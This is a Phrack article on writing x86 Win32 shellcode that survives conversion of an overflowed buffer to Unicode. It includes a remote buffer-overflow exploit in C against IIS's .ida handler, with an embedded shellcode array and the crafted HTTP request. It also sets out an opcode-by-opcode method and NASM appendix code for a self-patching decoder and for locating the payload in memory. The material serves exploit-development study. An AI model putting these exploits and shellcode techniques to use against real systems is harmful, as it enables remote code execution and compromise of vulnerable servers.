==Phrack Inc.== Volume 0x0b, Issue 0x3d, Phile #0x0b of 0x0f |=------------=[ Building IA32 'Unicode-Proof' Shellcodes ]=-------------=| |=-----------------------------------------------------------------------=| |=------------=[ obscou ]=-------------=| --[ Contents 0 - The Unicode Standard 1 - Introduction 2 - Our Instructions set 3 - Possibilities 4 - The Strategy 5 - Position of the code 6 - Conclusion 7 - Appendix : Code --[ 0 - The Unicode Standard While exploiting buffer overflows, we sometime face a difficulty : character transformations. In fact, the exploited program may have modified our buffer, by setting it to lower/upper case, or by getting rid of non-alphanumeric characters, thus stopping the attack as our shellcode usually can't run anymore. The transformation we are dealing here with is the transformation of a C-type string (common zero terminated string) to a Unicode string. Here is a quick overview of what Unicode is (source : www.unicode.org) "What is Unicode? Unicode provides a unique number for every character, no matter what the platform, no matter what the program, no matter what the language." --- www.unicode.org In fact, because Internet has become so popular, and because we all have different languages and therefore different charaters, there is now a need to have a standard so that computers can exchange data whatever the program, platform, language, network etc... Unicode is a 16-bits character set capable of encoding all known characters and used as a worldwide character-encoding standard. Today, Unicode is used by many industry leaders such as : Apple HP IBM Microsoft Oracle Sun and many others... The Unicode standard is requiered by softwares like : (non exhaustive list, see unicode.org for full list) Operating Systems : Microsoft Windows CE, Windows NT, Windows 2000, and Windows XP GNU/Linux with glibc 2.2.2 or newer - FAQ support Apple Mac OS 9.2, Mac OS X 10.1, Mac OS X Server, ATSUI Compaq's Tru64 UNIX, Open VMS IBM AIX, AS/400, OS/2 SCO UnixWare 7.1.0 Sun Solaris And of course, any software that runs under thoses systems... http://www.unicode.org/charts/ : displays the Unicode table of caracters It looks like this : | Range | Character set |-----------|-------------------- | 0000-007F | Basic Latin | 0080-00FF | Latin-1 Supplement | 0100-017F | Latin Extended-A | [...] | [...] | 0370-03FF | Greek and Coptic | [...] | [...] | 0590-05FF | Hebrew | 0600-06FF | Arabic | [...] | [...] | 3040-309F | Japanese Hiragana | 30A0-30FF | Japanese Katakana .... and so on until everybody is happy ! Unicode 4.0 includes characters for : Basic Latin Block Elements Latin-1 Supplement Geometric Shapes Latin Extended-A Miscellaneous Symbols Latin Extended-B Dingbats IPA Extensions Miscellaneous Math. Symbols-A Spacing Modifier Letters Supplemental Arrows-A Combining Diacritical Marks Braille Patterns Greek Supplemental Arrows-B Cyrillic Miscellaneous Mathematical Symbols-B Cyrillic Supplement Supplemental Mathematical Operators Armenian CJK Radicals Supplement Hebrew Kangxi Radicals Arabic Ideographic Description Characters Syriac CJK Symbols and Punctuation Thaana Hiragana Devanagari Katakana Bengali Bopomofo Gurmukhi Hangul Compatibility Jamo Gujarati Kanbun Oriya Bopomofo Extended Tamil Katakana Phonetic Extensions Telugu Enclosed CJK Letters and Months Kannada CJK Compatibility Malayalam CJK Unified Ideographs Extension A Sinhala Yijing Hexagram Symbols Thai CJK Unified Ideographs Lao Yi Syllables Tibetan Yi Radicals Myanmar Hangul Syllables Georgian High Surrogates Hangul Jamo Low Surrogates Ethiopic Private Use Area Cherokee CJK Compatibility Ideographs Unified Canadian Aboriginal Syllabic Alphabetic Presentation Forms Ogham Arabic Presentation Forms-A Runic Variation Selectors Tagalog Combining Half Marks Hanunoo CJK Compatibility Forms Buhid Small Form Variants Tagbanwa Arabic Presentation Forms-B Khmer Halfwidth and Fullwidth Forms Mongolian Specials Limbu Linear B Syllabary Tai Le Linear B Ideograms Khmer Symbols Aegean Numbers Phonetic Extensions Old Italic Latin Extended Additional Gothic Greek Extended Deseret General Punctuation Shavian Superscripts and Subscripts Osmanya Currency Symbols Cypriot Syllabary Combining Marks for Symbols Byzantine Musical Symbols Letterlike Symbols Musical Symbols Number Forms Tai Xuan Jing Symbols Arrows Mathematical Alphanumeric Symbols Mathematical Operators CJK Unified Ideographs Extension B Miscellaneous Technical CJK Compatibility Ideographs Supp. Control Pictures Tags Optical Character Recognition Variation Selectors Supplement Enclosed Alphanumerics Supplementary Private Use Area-A Box Drawing Supplementary Private Use Area-B Yes it's impressive. Microsoft says : "Unicode is a worldwide character-encoding standard. Windows NT, Windows 2000, and Windows XP use it exclusively at the system level for character and string manipulation. Unicode simplifies localization of software and improves multilingual text processing. By implementing it in your applications, you can enable the application with universal data exchange capabilities for global marketing, using a single binary file for every possible character code." Wa have to notice that The Windows programming interface uses ANSI and Unicode API's for each API, for example: The API : MessageBox (displays a msgbox of course) Is exported by User32.dll with : MessageBoxA (ANSI) MessageBoxW (Unicode) MessageBoxA will accept a standard C-type string as an argument MessageBoxW requieres Unicode strings as arguments. According to Microsoft, internal use of strings is handled by the system itself that ensures a transparent translation of strings between different standards. But if you want to use ANSI in a C program compiling under windows, you just have to define UNICODE and every API will be replaced by its 'W' version. This sounds logical to me, let's get to the point now... --[ 1 - Introduction We will consider the following situation : You send some data to a vulnerable server, and your data is considered as ASCII (standard 8-bits character encoding), then your buffer is translated into unicode for compatibility reasons, and then an overflow occurs with your transformed buffer. For example, such an input buffer : 4865 6C6C 6F20 576F 726C 6420 2100 0000 Hello World !... 0000 0000 0000 0000 0000 0000 0000 0000 ................ Would turn into : 4800 6500 6C00 6C00 6F00 2000 5700 6F00 H.e.l.l.o. .W.o. 7200 6C00 6400 2000 2100 0000 0000 0000 r.l.d. .!....... Then bang, overflow (yeah i know my example is stupid) Under Win32 plateforms, a process usually starts at 00401000, this makes it possible to smash EIP with a return address that looks like : ????:00??00?? So even with such a transformation, exploitation is still possible. It will be a lot harder to get a working shellcode. One possibility is to stuff the stack with untranformed data than contains the same shellcode many times, then do the overflow with the tranformed buffer, and make it return to one of your numerous shellcodes. Here we assume that this was impossible because all buffers are unicode. Needless to say that our assembly code won't go through this safely. So we need to find a way to build a shellcode that resists to such a transformation. We need to find opcodes containing null bytes to build our shellcode. Here is an example, it is a bit old but it is an example of how we can manage to get a shellcode executed even if our sent buffer is f**cked (This exploit was working on my box, it runs against IIS www service) : ---------------- CUT HERE ------------------------------------------------- /* IIS .IDA remote exploit formatted return address : 0x00530053 IIS sticks our very large buffer at 0x0052.... We jump to the buffer and get to the point by obscurer */ #include #include #include void usage(char *a); int wsa(); /* My Generic Win32 Shellcode */ unsigned char shellcode[]={ "\xEB\x68\x4B\x45\x52\x4E\x45\x4C\x13\x12\x20\x67\x4C\x4F\x42\x41" "\x4C\x61\x4C\x4C\x4F\x43\x20\x7F\x4C\x43\x52\x45\x41\x54\x20\x7F" [......] [......] [......] "\x09\x05\x01\x01\x69\x01\x01\x01\x01\x57\xFE\x96\x11\x05\x01\x01" "\x69\x01\x01\x01\x01\xFE\x96\x15\x05\x01\x01\x90\x90\x90\x90\x00"}; int main (int argc, char **argv) { int sock; struct hostent *host; struct sockaddr_in sin; int index; char *xploit; char *longshell; char retstring[250]; if(argc!=4&&argc!=5) usage(argv[0]); if(wsa()==FALSE) { printf("Error : cannot initialize winsock\n"); exit(0); } int size=0; if(argc==5) size=atoi(argv[4]); printf("Beginning Exploit building\n"); xploit=(char *)malloc(40000+size); longshell=(char *)malloc(35000+size); if(!xploit||!longshell) { printf("Error, not enough memory to build exploit\n"); return 0; } if(strlen(argv[3])>65) { printf("Error, URL too long to fit in the buffer\n"); return 0; } for(index=0;indexh_addr, sizeof(host->h_addr)); } else sin.sin_addr.S_un.S_addr=inet_addr(argv[1]); sin.sin_family=AF_INET; sin.sin_port=htons(atoi(argv[2])); index=connect(sock,(struct sockaddr *)&sin,sizeof(sin)); if (index==-1) { printf("Error : Couldn't connect to host\n"); return 0; } printf("Connected to host, sending shellcode\n"); index=send(sock,xploit,strlen(xploit),0); if(index<1) { printf("Error : Couldn't send trough socket\n"); return 0; } printf("Done, waiting for an answer\n"); memset (xploit,0, 2000); index=recv(sock,xploit,100,0); if(index<0) { printf("Server crashed, if exploit didn't work, increase buffer size by 10000\n"); exit(0); } printf("Exploit didn't seem to work, closing connection\n",xploit); closesocket(sock); printf("Done\n"); return 0; } ---------------- CUT HERE ------------------------------------------------- In this example, the exploitation string had to be as follows : "GET /NULL.ida?[BUFFER]=x HTTP/1.1\nHost: localhost\nAlex: [ANY]\n\n" If [BUFFER] is big enough, EIP is smashed with what it contains. But, i've noticed that [BUFFER] has been transformed into unicode when the overflow occurs. But something interesting was that [ANY] was a clean ASCII buffer, being mapped in memory at around : 00530000... So i tried to set [BUFFER] to "SSSSSSSSSSSSS" (S = 0x53) After the unicode transformation, it became : ...00 53 00 53 00 53 00 53 00 53 00 53 00 53 00 53 00 53... The EIP was smashed with : 0x00530053, IIS returned on somewhere around [ANY], where i had put a huge space of 0x41 = "A" (increments a register) and then, at the end of [ANY], my shellcode. And this worked. But if we have no clean buffer, we are unable to install a shellcode somewhere in memory. We have to find another solution. --[ 2 - Our Instructions set We must keep in mind that we can't use absolute addresses for calls, jmp... because we want our shellcode to be as portable as possible. First, we have to know which opcodes can be used, and which can't be used in order to find a strategy. As used in the Intel papers : r32 refers to a 32 bits register (eax, esi, ebp...) r8 refers to a 8 bits register (ah, bl, cl...) - UNCONDITIONAL JUMPS (JMP) JMP's possible opcodes are EB and E9 for relative jumps, we can't use them as they must be followed by a byte (00 would mean a jump to the next instruction which is fairly unuseful) FF and EA are absolute jumps, these opcodes can't be followed by a 00, except if we want to jump to a known address, which we won't do as this would mean that our shellcode contains harcoded addresses. - CONDITIONAL JUMPS (Jcc : JNE, JAE, JNE, JL, JZ, JNG, JNS...) The syntaxe for far jumps can't be used as it needs 2 consecutives non null bytes. the syntaxe for near jumps can't be used either because the opcode must be followed by the distance to jump to, which won't be 00. Also, JMP r32 is impossible. - LOOPs (LOOP, LOOPcc : LOOPE, LOOPNZ..) Same problem : E0, or E1, or E2 are LOOP opcodes, they must me followed by the number of bytes to cross... - REPEAT (REP, REPcc : REPNE, REPNZ, REP + string operation) All this is impossible to do because thoses intructions all begin with a two bytes opcode. - CALLs Only the relative call can be usefull : E8 ?? ?? ?? ?? In our case, we must have : E8 00 ?? 00 ?? (with each ?? != 00) We can't use this as our call would be at least 01000000 bytes further... Also, CALL r32 is impossible. - SET BYTE ON CONDITION (SETcc) This instruction needs 2 non nul bytes. (SETA is 0F 97 for example). Hu oh... This is harder as it may seem... We can't do any test... Because we can't do anything conditional ! Moreover, we can't move along our code : no Jumps and no Calls are permitted, and no Loops nor Repeats can be done. Then, what can we do ? The fact that we have a lot of NULLS will allow a lot of operation on the EAX register... Because when you use EAX, [EAX], AX, etc.. as operand, it is often coded in Hex with a 00. - SINGLE BYTE OPCODES We can use any single byte opcode, this will give us any INC or DEC on any register, XCHG and PUSH/POP are also possible, with registers as operands. So we can do : XCHG r32,r32 POP r32 PUSH r32 Not bad. - MOV ________________________________________________________________ |8800 mov [eax],al | |8900 mov [eax],eax | |8A00 mov al,[eax] | |8B00 mov eax,[eax] | | | |Quite unuseful. | |________________________________________________________________| ________________________________________________________________ |A100??00?? mov eax,[0x??00??00] | |A200??00?? mov [0x??00??00],al | |A300??00?? mov [0x??00??00],eax | | | |These are unuseful to us. (We said no hardcoded addresses). | |________________________________________________________________| ________________________________________________________________ |B_00 mov r8,0x0 | |A4 movsb | | | |Maybe we can use these ones. | |________________________________________________________________| ________________________________________________________________ |B_00??00?? mov r32,0x??00??00 | |C600?? mov byte [eax],0x?? | | | |This might be interesting for patching memory. | |________________________________________________________________| - ADD ________________________________________________________________ |00__ add [r32], r8 | | | | Using any register as a pointer, we can add bytes in memory. | | | |00__ add r8,r8 | | | | Could be a way to modify a register. | |________________________________________________________________| - XOR ________________________________________________________________ |3500??00?? xor eax,0x??00??00 | | | | | | Could be a way to modify the EAX register. | |________________________________________________________________| - PUSH ________________________________________________________________ |6A00 push dword 0x00000000 | |6800??00?? push dword 0x??00??00 | | | | Only this can be made. | |________________________________________________________________| --[ 3 - Possibilities First we have to get rid of a small detail : the fact that we have such 0x00 in our code may requier caution because if you return from smashed EIP to ADDR : ... ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ... || ADDR The result may be completely different if you ret to ADDR or ADDR+1 ! But, we can use as 'NOP' instruction, instructions like : ________________________________________________________________ |0400 add al,0x0 | |________________________________________________________________| Because : 000400 is : add [2*eax],al, we can jump wherever we want, we won't be bothered by the fact that we have to fall on a 0x00 or not. But this need 2*eax to be a valid pointer. We also have : ________________________________________________________________ |06 push es | |0006 add [esi],al | | | |0F000F str [edi] | |000F add [edi],cl | | | |2E002E add [cs:esi],ch | |002E add [esi],ch | | | |2F das | |002F add [edi],ch | | | |37 aaa | |0037 add [edi],dh | | ; .... etc etc... | |________________________________________________________________| We are just to be careful with this alignment problem. Next, let's see what can be done : XCHG, INC, DEC, PUSH, POP 32 bits registers can be done directly We can set a register (r32) to 00000000 : ________________________________________________________________ |push dword 0x00000000 | |pop r32 | |________________________________________________________________| Notice that anything that can be done with EAX can be done with any other register thanxs to the XCHG intruction. For example we can set any value to EDX with a 0x00 at second position : (for example : 0x12005678): ________________________________________________________________ |mov edx,0x12005600 ; EDX = 0x12005600 | |mov ecx,0xAA007800 | |add dl,ch ; EDX = 0x12005678 | |________________________________________________________________| More difficult : we can set any value to EAX (for example), but we will have to use a little trick with the stack : ________________________________________________________________ |mov eax,0xAA003400 ; EAX = 0xAA003400 | |push eax | |dec esp | |pop eax ; EAX = 0x003400?? | |add eax,0x12005600 ; EAX = 0x123456?? | |mov al,0x0 ; EAX = 0x12345600 | |mov ecx,0xAA007800 | |add al,ch | | ; finally : EAX = 0x12345678 | |________________________________________________________________| Importante note : we migth want to set some 0x00 too : If we wanted a 0x00 instead of 0x12, then instead of adding 0x00120056 to the register, we can simply add 0x56 to ah : ________________________________________________________________ |mov ecx,0xAA005600 | |add ah,ch | |________________________________________________________________| If we wanted a 0x00 instead of 0x34, then we just need EAX = 0x00000000 to begin with, instead of trying to set this 0x34 byte. If we wanted a 0x00 instead of 0x56, then it is simple to substract 0x56 to ah by adding 0x100 - 0x56 = 0xAA to it : ________________________________________________________________ | ; EAX = 0x123456?? | |mov ecx,0xAA00AA00 | |add ah,ch | |________________________________________________________________| If we wanted a 0x00 instead of the last byte, just give up the last line. Maybe if you haven't thougth of this, remember you can jump to a given location with (assuming the address is in EAX) : ________________________________________________________________ |50 push eax | |C3 ret | |________________________________________________________________| You may use this in case of a desperate situation. --[ 4 - The Strategy It seems nearly impossible to get a working shellcode with such a small set of opcodes... But it is not ! The idea is the following : Given a working shellcode, we must get rid of the 00 between each byte. We need a loop, so let's do a loop, assuming EAX points to our shellcode : _Loop_code_:____________________________________________________ | ; eax points to our shellcode | | ; ebx is 0x00000000 | | ; ecx is 0x00000500 (for example) | | | | label: | |43 inc ebx | |8A1458 mov byte dl,[eax+2*ebx] | |881418 mov byte [eax+ebx],dl | |E2F7 loop label | |________________________________________________________________| Problem : not unicode. So let's turn it into unicode : 43 8A 14 58 88 14 18 E2 F7, would be : 43 00 14 00 88 00 18 00 F7 Then, considering the fact that we can write data at a location pointed by EAX, it will be simple to tranform thoses 00 into their original values. We just need to do this (we assume EAX points to our data) : ________________________________________________________________ |40 inc eax | |40 inc eax | |C60058 mov byte [eax],0x58 | |________________________________________________________________| Problem : still not unicode. So that 2 bytes like 0x40 follow, we need a 00 between the two... As 00 can't fit, we need something like : 00??00, which won't interfere with our business, so : add [ebp+0x0],al (0x004500) will do fine. Finally we get : ________________________________________________________________ |40 inc eax | |004500 add [ebp+0x0],al | |40 inc eax | |004500 add [ebp+0x0],al | |C60058 mov byte [eax],0x58 | |________________________________________________________________| -> [40 00 45 00 40 00 45 00 C6 00 58] is nothing but a unicode string ! Before the loop, we must have some things done : First we must set a proper counter, i propose to set ECX to 0x0500, this will deal with a 1280 bytes shellcode (but feel free to change this). ->This is easy to do thanks to what we just noticed. Then we must have EBX = 0x00000000, so that the loop works properly. ->It is also easy to do. Finally we must have EAX pointing to our shellcode in order to take away the nulls. ->This will be the harder part of the job, so we will see that later. Assuming EAX points to our code, we can build a header that will clean the code that follows it from nulls (we use add [ebp+0x0],al to align nulls) : -> 1st part : we do EBX=0x00000000, and ECX=0x00000500 (approximative size of buffer) ________________________________________________________________ |6A00 push dword 0x00000000 | |6A00 push dword 0x00000000 | |5D pop ebx | |004500 add [ebp+0x0],al | |59 pop ecx | |004500 add [ebp+0x0],al | |BA00050041 mov edx,0x41000500 | |00F5 add ch,dh | |________________________________________________________________| -> 2nd part : The patching of the 'loop code' : 43 00 14 00 88 00 18 00 F7 has to be : 43 8A 14 58 88 14 18 E2 F7 So we need to patch 4 bytes exactly which is simple : (N.B : using {add dword [eax],0x00??00??} takes more bytes so we will use a single byte mov : {mov byte [eax],0x??} to do this) ________________________________________________________________ |mov byte [eax],0x8A | |inc eax | |inc eax | |mov byte [eax],0x58 | |inc eax | |inc eax | |mov byte [eax],0x14 | |inc eax | | ; one more inc to get EAX to the shellcode | |________________________________________________________________| Which does, with 'align' instruction {add [ebp+0x0],al} : ________________________________________________________________ |004500 add [ebp+0x0],al | |C6008A mov byte [eax],0x8A ; 0x8A | |004500 add [ebp+0x0],al | | | |40 inc eax | |004500 add [ebp+0x0],al | |40 inc eax | |004500 add [ebp+0x0],al | |C60058 mov byte [eax],0x58 ; 0x58 | |004500 add [ebp+0x0],al | | | |40 inc eax | |004500 add [ebp+0x0],al | |40 inc eax | |004500 add [ebp+0x0],al | |C60014 mov byte [eax],0x14 ; 0x14 | |004500 add [ebp+0x0],al | | | |40 inc eax | |004500 add [ebp+0x0],al | |40 inc eax | |004500 add [ebp+0x0],al | |C600E2 mov byte [eax],0xE2 ; 0xE2 | |004500 add [ebp+0x0],al | |40 inc eax | |004500 add [ebp+0x0],al | |________________________________________________________________| This is good, we now have EAX that points to the end of the loop, that is to say : the shellcode. -> 3rd part : The loop code (stuffed with nulls of course) ________________________________________________________________ |43 db 0x43 | |00 db 0x00 ; overwritten with 0x8A | |14 db 0x14 | |00 db 0x00 ; overwritten with 0x58 | |88 db 0x88 | |00 db 0x00 ; overwritten with 0x14 | |18 db 0x18 | |00 db 0x00 ; overwritten with 0xE2 | |F7 db 0xF7 | |________________________________________________________________| Just after this should be placed the original working shellcode. Let's count the size of this header : (nulls don't count of course) 1st part : 10 bytes 2nd part : 27 bytes 3rd part : 5 bytes ------------------- Total : 42 bytes I find this affordable, because i could manage to make a remote Win32 shellcode fit in around 450 bytes. So, at the end, we made it : a shellcode that works after it has been turn into a unicode string ! Is this really it ? No of course, we forgot something. I wrote that we assumed that EAX was pointing on the exact first null byte of the loop code. But in order to be honest with you, i will have to explain a way to obtain this. --[ 5 - Captain, we don't know our position ! The problem is simple : We had to perform patches on memory to get our loop working well. So we need to know our position in memory because we are patching ourself. In an assembly program, an easy way to do this would be : ________________________________________________________________ |call label | | | | label: | |pop eax | |________________________________________________________________| Will get the absolute memory address of label in EAX. In a classic shellcode we will need to do a call to a lower address to avoid null bytes : ________________________________________________________________ |jmp jump_label | | | | call_label: | |pop eax | |push eax | |ret | | jump_label: | |call call_label | | ; **** | |________________________________________________________________| Will get the absolute memory address of '****' But this is impossible in our case because we can't jump nor call. Moreover, we can't parse memory looking for a signature of any kind. I'm sure there must be other ways to do this but i could only 3 : -> 1st idea : we are lucky. If we are lucky, we can expect to have some registers pointing to a place near our evil code. In fact, this will happen in 90% of time. This place can't be considered as harcoded because it will surely move if the process memory moves, from a machine to another. (The program, before it crashed, must have used your data and so it must have pointers to it) We know we can add anything to eax (only eax) so we can : - use XCHG to have the approximate address in EAX - then add a value to EAX, thus moving it to wherever we want. The problem is that we can't use : add al,r8 or and ah,r8, because don't forget that : EAX=0x000000FF + add al,1 = EAX=0x00000000 So thoses manipulations will do different things depending on what EAX contains. So all we have is : add eax,0x??00??00 No problem, we can add 0x1200 (for example) to EAX with : ________________________________________________________________ |0500110001 add eax,0x01001100 | |05000100FF add eax,0xFF000100 | |________________________________________________________________| Then, it is simple to add some align data so that EAX points on what we want. For example : ________________________________________________________________ |0400 add al,0x0 | |________________________________________________________________| would be perfect for align. (N.B: we will maybe need a little inc EAX to fit) Some extra space may be requiered by this methode (max : 128 bytes because we can only get EAX to point to the nearest address modulus 0x100, then we have to add align bytes. As each 2 bytes is in fact 1 buffer byte because of the added null bytes, we must at worst add 0x100 / 2 = 128 bytes) -> 2nd idea : a little less lucky. If you can't find a close address within yours registers, you can maybe find one in the stack. Let's just hope your ESP wasn't smashed after the overflow. You just have to POP from the stack until you find a nice address. This methode can't be explained in a general way, but the stack always contains addresses the application used before you bothered it. Note that you can use POPAD to pop EDI, ESI, EBP, EBX, EDX, ECX, and EAX. Then we use the same methode as above. -> 3rd idea : god forgive me. Here we suppose we don't have any interesting register, or that the values that the registers contain change from a try to another. Moreover, there's nothing interesting inside the stack. This is a desperate case so -> we use an old style samoura suicide attack. My last idea is to : - Take a "random" memory location that has write access - Patch it with 3 bytes - Call this location with a relative call First part is the more hazardous : we need to find an address that is within a writeable section. We'd better find one at the end of a section full on nulls or something like that, because we're gonna call quite randomly. The easiest way to do this is to take for example the .data section of the target Portable Executable. It is usually a quite large section with Flags : Read/Write/Data. So this is not a problem to kind of 'hardcode' an address in this area. So for the first step we just pisk an address in the middle of this, it won't matter where. (N.B : if one of your register points to a valid location after the overflow, you don't have to do all this of course) We assume the address is 0x004F1200 for example : Using what we saw previously, it is easy to set EAX to this address : ________________________________________________________________ |B8004F00AA mov eax,0xAA004F00 ; EAX = 0xAA004F00 | |50 push eax | |4C dec esp | |58 pop eax ; EAX = 0x004F00?? | |B000 mov al,0x0 ; EAX = 0x004F0000 | |B9001200AA mov ecx,0xAA001200 | |00EC add ah,ch | | ; finally : EAX = 0x004F1200 | |________________________________________________________________| Then we will patch this writeable memory location with (guess what) : ________________________________________________________________ |pop eax | |push eax | |ret | |________________________________________________________________| Hex code of the patch : [58 50 C3] This would give us, after we called this address, a pointer to our code in EAX. This would be the end of the trouble. So let's patch this : Remember that EAX contains the address we are patching. What we are going to do is first patch with 58 00 C3 00 then move EAX 1 byte ahead, and put the last byte : 0x50 between the two others. (N.B : don't forget that byte are pushed in a reverse order in the stack) ________________________________________________________________ |C7005800C300 mov dword [eax],0x00C30058 | |40 inc eax | |C60050 mov byte [eax],0x50 | |________________________________________________________________| Done with patching. Now we must call this location. I no i said that we couldn't call anything, but this is a desperate case, so we use a relative call : ________________________________________________________________ |E800??00!! call (here + 0x!!00??00) | | (**) | |________________________________________________________________| In order to get this methode working, you have to patch the end of a large memory section containing nulls for example. Then we can call anywhere in the area, it will end up executing our 3 bytes code. After this call, EAX will have the address of (**), we are saved because we just need to add EAX a value we can calculate because it is just a difference between two offsets of our code. Therefore, we can't use previous technique to add bytes to EAX because we want to add less then 0x100. So we can't do the {add eax, imm32} stuff. Let's do something else : add dword [eax], byte 0x?? is the key, because we can add a byte to a dword, this is perfect. EAX points to (**), se can can use this memory location to set the new EAX value and put it back into EAX. We assume we want to add 0x?? to eax : (N.B : 0x?? can't be larger than 0x80 because the : add dword [eax], byte 0x?? we are using is signed, so if you set a large value, it will sub instead of add. (Then add a whole 0x100 and add some align to your code but this won't happen as 42*2 bytes isn't large enough i think) ________________________________________________________________ |0400 ad al,0x0 ; the 0x04 will be overwritten| |8900 mov [eax],eax | |8300?? add dword [eax],byte 0x?? | |8B00 mov eax,[eax] | |________________________________________________________________| Everything is alright, we can make EAX point to the exact first null byte of loop_code as we wished. We just need to calculate 0x?? (just count the bytes including nulls between loop_code and the call and you'll find 0x5A) --[ 6 - Conclusion Finally, we could make a unishellcode, that won't be altered after a str to unicode transformation. I'm waiting other ideas or techniques to perform this, i'm sure there are plenty of things i haven't thought about. Thanks to : - NASM Compiler and disassembler (i like its style =) - Datarescue IDA - Numega SoftIce - Intel and its processors Documentation : - http://www.intel.com for the official intel assembly doc Greetings go to : - rix, for showing us beautiful things in his articles - Tomripley, who always helps me when i need him ! --| 7 - Appendix : Code For test purpose, i give you a few lines of code to play with (NASM style) It is not really a code sample, but i gathered all my examples so that you don't have to look everywhere in my messy paper to find what you need... - main.asm ---------------------------------------------------------------- %include "\Nasm\include\language.inc" [global main] segment .code public use32 ..start: ; ********************************************* ; * Assuming EAX points to (*) (see below) * ; ********************************************* ; ; Setting EBX to 0x00000000 and ECX to 0x00000500 ; push byte 00 ; 6A00 push byte 00 ; 6A00 pop ebx ; 5D add [ebp+0x0],al ; 004500 pop ecx ; 59 add [ebp+0x0],al ; 004500 mov edx,0x41000500 ; BA00050041 add ch,dh ; 00F5 ; ; Setting the loop_code ; add [ebp+0x0],al ; 004500 mov byte [eax],0x8A ; C6008A add [ebp+0x0],al ; 004500 inc eax ; 40 add [ebp+0x0],al ; 004500 inc eax ; 40 add [ebp+0x0],al ; 004500 mov byte [eax],0x58 ; C60058 add [ebp+0x0],al ; 004500 inc eax ; 40 add [ebp+0x0],al ; 004500 inc eax ; 40 add [ebp+0x0],al ; 004500 mov byte [eax],0x14 ; C60014 add [ebp+0x0],al ; 004500 inc eax ; 40 add [ebp+0x0],al ; 004500 inc eax ; 40 add [ebp+0x0],al ; 004500 mov byte [eax],0xE2 ; C600E2 add [ebp+0x0],al ; 004500 inc eax ; 40 add [ebp+0x0],al ; 004500 ; ; Loop_code ; db 0x43 db 0x00 ;0x8A (*) db 0x14 db 0x00 ;0x58 db 0x88 db 0x00 ;0x14 db 0x18 db 0x00 ;0xE2 db 0xF7 ; < Paste 'unicode' shellcode there > -EOF----------------------------------------------------------------------- Then the 3 methodes to get EAX to point to the chosen code. (N.B : The 'main' code is 42*2 = 84 bytes long) - methode1.asm ------------------------------------------------------------ ; ********************************************* ; * Adjusts EAX (+ 0xXXYY bytes) * ; ********************************************* ; N.B : 0xXX != 0x00 add eax,0x0100XX00 ; 0500XX0001 add [ebp+0x0],al ; 004500 add eax,0xFF000100 ; 05000100FF add [ebp+0x0],al ; 004500 ; we added 0x(XX+1)00 to EAX ; using : add al,0x0 as a NOP instruction : add al,0x0 ; 0400 add al,0x0 ; 0400 add al,0x0 ; 0400 ; [...] <-- (0x100 - 0xYY) /2 times add al,0x0 ; 0400 add al,0x0 ; 0400 add al,0x0 ; 0400 ; (N.B) if 0xYY is odd then add a : dec eax ; 48 add [ebp+0x0],al ; 004500 -EOF----------------------------------------------------------------------- - methode2.asm ------------------------------------------------------------ ; ********************************************* ; * Basically : POPs and XCHG * ; ********************************************* popad ; 61 add [ebp+0x0],al ; 004500 xchg eax, ? ; 1 non null byte (find out what to do here) add [ebp+0x0],al ; 004500 ; do it again if needed, then use methode1 to make everything okay -EOF----------------------------------------------------------------------- - methode3.asm ------------------------------------------------------------ ; ********************************************* ; * Using a CALL * ; ********************************************* ; Get the wanted address mov eax,0xAA00??00 ; B800??00AA add [ebp+0x0],al ; 004500 push eax ; 50 add [ebp+0x0],al ; 004500 dec esp ; 4C add [ebp+0x0],al ; 004500 pop eax ; 58 add [ebp+0x0],al ; 004500 mov al,0x0 ; B000 mov ecx,0xAA00!!00 ; B900!!00AA add ah,ch ; 00EC add [ebp+0x0],al ; 004500 ; EAX = 0x00??!!00 ; awfull patch, i agree mov dword [eax],0x00C30058 ; C7005800C300 inc eax ; 40 add [ebp+0x0],al ; 004500 mov byte [eax],0x50 ; C60050 add [ebp+0x0],al ; 004500 ; just pray and call call 0x???????? ; E800!!00?? add [ebp+0x0],al ; 004500 ; then add 90d = 0x5A to EAX (to reach (*), where the loop_code is) ; case where 0xXX = 0x00 so we can't use methode1 add al,0x0 ; 0400 because we're patching at [eax] mov [eax],eax ; 8900 add dword [eax],byte 0x5A ; 83005A add [ebp+0x0],al ; 004500 mov eax,[eax] ; 8B00 ; EAX pointes to the very first null byte of loop_code |=[ EOF ]=---------------------------------------------------------------=|